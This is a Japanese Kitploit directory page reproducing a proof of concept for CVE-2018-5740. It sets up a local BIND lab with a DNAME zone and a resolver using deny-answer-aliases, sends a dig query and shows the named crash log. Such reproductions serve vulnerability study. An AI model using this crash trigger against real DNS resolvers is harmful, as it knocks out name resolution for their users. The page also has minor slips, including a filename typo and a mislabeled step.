Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2018-5740 — CVE-2018-5740の概念実証エクスプロイト。巧妙に細工されたDNAMEクエリによって引き起こされるBIND DNSサーバのサービス拒否脆弱性であり、再現可能な実験環境セットアップを備えています。 | Kitploit
ツール/GitHubGitHub/sischkg/cve-2018-5740
脆弱性分析エクスプロイト学習と教育DNS分析ラボと実践
GitHubsischkg/cve-2018-5740

cve-2018-5740

CVE-2018-5740の概念実証エクスプロイト。巧妙に細工されたDNAMEクエリによって引き起こされるBIND DNSサーバのサービス拒否脆弱性であり、再現可能な実験環境セットアップを備えています。

リポジトリを見る
38年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2018-5740 の PoC

正当な権威サーバからの応答を受信した Named が CVE-2018-5740 によりクラッシュします。

ファイル

  • named.conf: 権威サーバ用の BIND 設定ファイル
  • example.com: 権威サーバ用のゾーンファイル
  • named-full-resolver.conf: 被害フルリゾルバサーバ用の BIND 設定ファイル

再現手順

CentOS 7.5 をインストールします。

bind および bind-utils パッケージをインストールします。

root@kitploit:~
# yum install bind-9.9.4-61.el7.x86_64 bind-utils-9.9.4-61.el7.x86_64

権威サーバのセットアップ

example.com ゾーン用のゾーンファイルを作成します。

root@kitploit:~
# vi /var/named/example.com
# chown root:named /var/named/example.com

example.com ゾーンファイル

root@kitploit:~
$TTL 1D
@	IN SOA	@ rname.invalid. (
					0	; serial
					1D	; refresh
					1H	; retry
					1W	; expire
					3H )	; minimum
	NS	@
	A	127.0.0.1
	AAAA	::1

dname	IN DNAME	child.example.com.

named.conf を編集して example.com ゾーンを追加します。

root@kitploit:~
# vi /etc/named.conf

example.com ゾーンのディレクティブ

root@kitploit:~
zone "example.com" IN {
	type master;
	file "example.com";
};

権威サーバサービスを起動します。

root@kitploit:~
# systemctl start named

被害フルリゾルバサーバのセットアップ

フルリゾルバサーバ用の設定ファイルを作成します。

root@kitploit:~
# vi /etc/named-full-resulver.conf

named-full-resolver.conf

root@kitploit:~
options {
	listen-on port 10053 { 127.0.0.1; };
	listen-on-v6 port 10053 { ::1; };
	directory 	"/var/named";
	dump-file 	"/var/named/data/cache_dump.db";
	statistics-file "/var/named/data/named_stats.txt";
	memstatistics-file "/var/named/data/named_mem_stats.txt";
	allow-query     { localhost; };

	recursion yes;

	dnssec-enable yes;
	dnssec-validation yes;

	/* Path to ISC DLV key */
	bindkeys-file "/etc/named.iscdlv.key";

	managed-keys-directory "/var/named/dynamic";

	pid-file	"/var/run/named/named-full-resolver.pid";
	session-keyfile "/run/named/session.key";

	deny-answer-aliases {
		"dname.example.com";
	};
};

logging {
        channel default_debug {
                file "data/named.run";
                severity dynamic;
        };
};

zone "." IN {
	type hint;
	file "named.ca";
};

zone "example.com" IN {
	type static-stub;
	server-addresses { 127.0.0.1; };
};

include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";

権威サーバサービスを起動します。

root@kitploit:~
# /usr/sbin/named -u named -c /etc/named-full-resolver.conf

フルリゾルバにクエリを送信します。

root@kitploit:~
$ dig @127.0.0.1 -p 10053 dname.example.com DNAME +rec

/var/log/messages を確認します。

root@kitploit:~
Aug 15 10:45:30 bind named[11523]: name.c:2117: REQUIRE(suffixlabels > 0) failed, back trace
Aug 15 10:45:30 bind named[11523]: #0 0x55651c255b60 in ??
Aug 15 10:45:30 bind named[11523]: #1 0x7fa8a4e1717a in ??
Aug 15 10:45:30 bind named[11523]: #2 0x7fa8a64f87e9 in ??
Aug 15 10:45:30 bind named[11523]: #3 0x7fa8a64a3daf in ??
Aug 15 10:45:30 bind named[11523]: #4 0x7fa8a64a4ff0 in ??
Aug 15 10:45:30 bind named[11523]: #5 0x7fa8a657d33e in ??
Aug 15 10:45:30 bind named[11523]: #6 0x7fa8a4e3a066 in ??
Aug 15 10:45:30 bind named[11523]: #7 0x7fa8a49eae25 in ??
Aug 15 10:45:30 bind named[11523]: #8 0x7fa8a3a5ebad in ??
Aug 15 10:45:30 bind named[11523]: exiting (due to assertion failure)
ツールをダウンロード